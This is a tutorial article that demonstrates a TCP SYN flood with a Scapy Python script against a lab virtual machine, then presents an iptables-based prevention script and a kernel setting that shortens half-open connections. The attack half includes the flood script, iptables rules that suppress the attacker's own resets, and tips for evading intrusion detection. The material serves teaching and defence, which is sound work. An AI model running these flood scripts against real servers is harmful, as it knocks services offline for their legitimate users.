DoS (Denial of Service) attacks against Web
services make them unavailable for legitimate users, affecting the
website owner’s potential business. These involve intentional
consumption of network, CPU and memory resources. In this article, I
will demonstrate how to do a SYN flood using the SCAPY framework, along
with other preventive measures.
Over time, DoS attacks have become more complicated, concealing
malicious client requests as legitimate ones. Also, a distributed
approach, the DDoS (Distributed Denial of Service) is now being adopted,
which involves generating multiple requests to create a flood scenario.
One type of DDoS flood attack is the TCP SYN queue flood.A SYN queue flood attack takes advantage of the TCP protocol’s “three-way handshake”. A client sends a TCP SYN (S flag) packet to begin a connection to the server. The target server replies with a TCP SYN-ACK (SA flag) packet, but the client does not respond to the SYN-ACK, leaving the TCP connection “half-open”. In normal operation, the client should send an ACK (a flag) packet followed by the data to be transferred, or an RST reply to reset the connection. On the target server, the connection is kept open, in a “SYN_RECV” state, as the ACK packet may have been lost due to network problems.
In a DDoS, multiple attackers make many such half-connections to the target server, in a storm of requests. When the server’s SYN buffer is full with half-open TCP connections, it stops accepting SYN connections, thus resulting in denial of service to legitimate clients.
Such DDoS attacks are generally carried out using “botnets” of other compromised systems across the Internet, which through backdoors and Trojans are directed to send artificial SYN flood traffic to targeted servers. To defend against such attacks, a strong monitoring system is required, as there is a very fine line between legitimate and fake clients. SYN queue flood attacks can be mitigated by tuning
the kernel’s TCP/IP parameters.
In this article, to simulate a DDoS, I will generate SYN flood packets with Scapy (which has functions to manually craft abnormal packets with the desired field values), and use iptables, in multiple Oracle VirtualBox virtual machines running Ubuntu 10.04 Server. Two “attacker” VMs send packets to a “target
server” VM. In a real-life scenario, attackers target a server on ports that are in the LISTEN state, to bring down the service.
Now, let’s look at this in detail.
The attackers’ configurations
My three Ubuntu Server VMs are connected through the VirtualBox “Hostonly” network adapter. The target server is192.168.56.102
; 192.168.56.101
and 192.168.56.103
are the attackers. I am using Scapy 2.2.0. Going forward, extract the Scapy source, and as the root, run python setup.py install
. Run Scapy with the command scapy
.To attack the target server (
192.168.56.102
), insert the following iptables rules in the respective attacker VMs:iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP |
Note: This rule will DROP packets
from the OUTPUT chain that have the RST flag set. The iptables rules
will only apply to the kernel stack layer, not the application layer —
so it will not apply to packets generated by Scapy, which creates the
entire packet in its space. However, the malformed/manipulated packets
crafted by Scapy will be seen by the kernel, which will send RST
responses (resets) to the target, since it (the attacker’s kernel)
didn’t initiate this TCP communication. To prevent this, we should use
the above iptables rules, so that the kernel’s RSTs will not get to the
target — otherwise, the target’s SYN buffer will not get full, and the
DDoS attack will fail.
The attack
Run the Python script (below,SYN_Flood_Scapy.py
) in the attacker VMs to send malformed SYN connections to the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| #! /usr/bin/env python # Name : Subodh Pachghare # CyberSpace Name : HaX0R (Cyberninja) # Website : www.thesubodh.com # Description : SYN Flood Packet creation for iptables prevention solution import sys from scapy. all import * #conf.verb=0 print "Field Values of packet sent" p = IP(dst = sys.argv[ 1 ], id = 1111 ,ttl = 99 ) / TCP(sport = RandShort(),dport = [ 22 , 80 ],seq = 12345 ,ack = 1000 ,window = 1000 ,flags = "S" ) / "HaX0r SVP" ls(p) print "Sending Packets in 0.3 second intervals for timeout of 4 sec" ans,unans = srloop(p,inter = 0.3 ,retry = 2 ,timeout = 4 ) print "Summary of answered & unanswered packets" ans.summary() unans.summary() print "source port flags in response" #for s,r in ans: # print r.sprintf("%TCP.sport% \t %TCP.flags%") ans.make_table( lambda (s,r): (s.dst, s.dport, r.sprintf( "%IP.id% \t %IP.ttl% \t %TCP.flags%" ))) |
python SYN_Flood_Scapy.py 192.168.56.102 |
As you can see, this script will take the destination IP as input, and will create connections from different ports. Random custom field values are used for TTL (Time to live) and ID, to obfuscate the identity in case any IDS/IPS (Intrusion Detection System/Intrusion Prevention System) is present at the target side. Every OS has typical TTL values (e.g., Windows 128, Linux 64, etc.), which any firewall or IDS/IPS like Snort can use to detect the attacker’s OS version.
The
randshort()
function is used to generate random port numbers for the sport (source port) of the TCP packet. The destination port (dport
) is set to port 22 (SSH) and 80 (Apache Web server). The TCP connect flag is set to SYN using the flags option.The
srloop
function sends p
crafted packets at intervals of 0.3 seconds. The results of srloop
are collected in ans
(for answered packets) and unans
(for unanswered packets). The gathered results are displayed in a table format for the reply flags and TTL values.Finally, the script reports SA (SYN-ACK) responses, and gives the results as answered/unanswered packets.
The target’s reply of SA shows that it “thinks” the ACK from attacker/initiator was lost; hence, it keeps re-sending it, for an interval specified by the kernel. The connection, on the target server, remains in the SYN_RECV condition for 3 minutes for each port, as per the
net.ipv4.tcp_synack_retries
parameter, which is set to 5 in Linux. After these retries, the kernel closes the connection.Here is the seed of a SYN flood. Millions of unanswered SYN requests to the target server can fill the buffer up completely, leaving it unable to serve legitimate clients. Now let’s look into custom prevention methods.
Prevention measures on target server
As a prevention measure, I created a shell script to generate iptables rules, which will be purged automatically on exit from the script. This solution will reject all suspicious TCP connections with a TCP RST packet, to prevent potential DDoS. All connections in the SYN_RECV state will be closed forcibly with RST packets. I allow 25 attempts from a single IP address, to take care of packet loss, which sometimes does happen, due to network errors. Thus, legitimate clients have a chance to reconnect.After 25 attempts from the same IP address, SYN packets from that IP address will be rejected as intentional flooding (an iptables rule entry is added for malicious IP addresses, to REJECT with a TCP RST flag), and it will be logged for tracking purposes. The time interval at which to check for connections has to be specified (the script will sleep for the given time interval). If the server has a significant load, lower intervals are better, for more frequent scans.
This will also log the number of connections made from each IP address, for further analysis. The script can be terminated with the
EXIT
signal. It uses a while loop with the continue jump statement, so that existing IP address rules will not be re-entered.The
SYN_Flood_Prevention.sh
script is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| # Description : SYN Flood Prevention using iptables against Scapy SYN packets generated > /var/log/DDOS_IP .log > /tmp/test1 .txt > /tmp/test2 .txt trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT while true ; do date >> /var/log/DDOS_IP .log netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> /var/log/DDOS_IP .log for pip in ` netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq ` do conntrack=` netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip | wc -l`; while read line do if [ "$line" = "$pip" ] then continue 2 fi done < /tmp/test2 .txt if [ "$conntrack" -gt "25" ] then iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset echo "$pip" >> /tmp/test1 .txt fi done cat /tmp/test1 .txt | sort | uniq > /tmp/test2 .txt sleep $1 done |
. /SYN_Flood_Prevention .sh 4 |
Kernel configuration
Beyond this shell script, the number of SYN_ACK retries can also be lowered, so that the kernel closes SYN_RECV state connections earlier. The parameternet.ipv4.tcp_synack_retries
defaults to 5
SYN_ACK retries, which leaves SYN_RECV-state connections open for 3
minutes. You can reduce this so that these hanging connections will
close sooner. I have used a value of 1, just for demonstration. This
allows a time interval of 10 seconds before the connection is closed.
Set the parameter using the following method. Add or edit the following
line in /etc/sysctl.conf
:net.ipv4.tcp_synack_retries = 1 |
sysctl –p /etc/sysctl .conf |
root@ubiserv:~ # cat /proc/sys/net/ipv4/tcp_synack_retries 1 |
Không có nhận xét nào:
Đăng nhận xét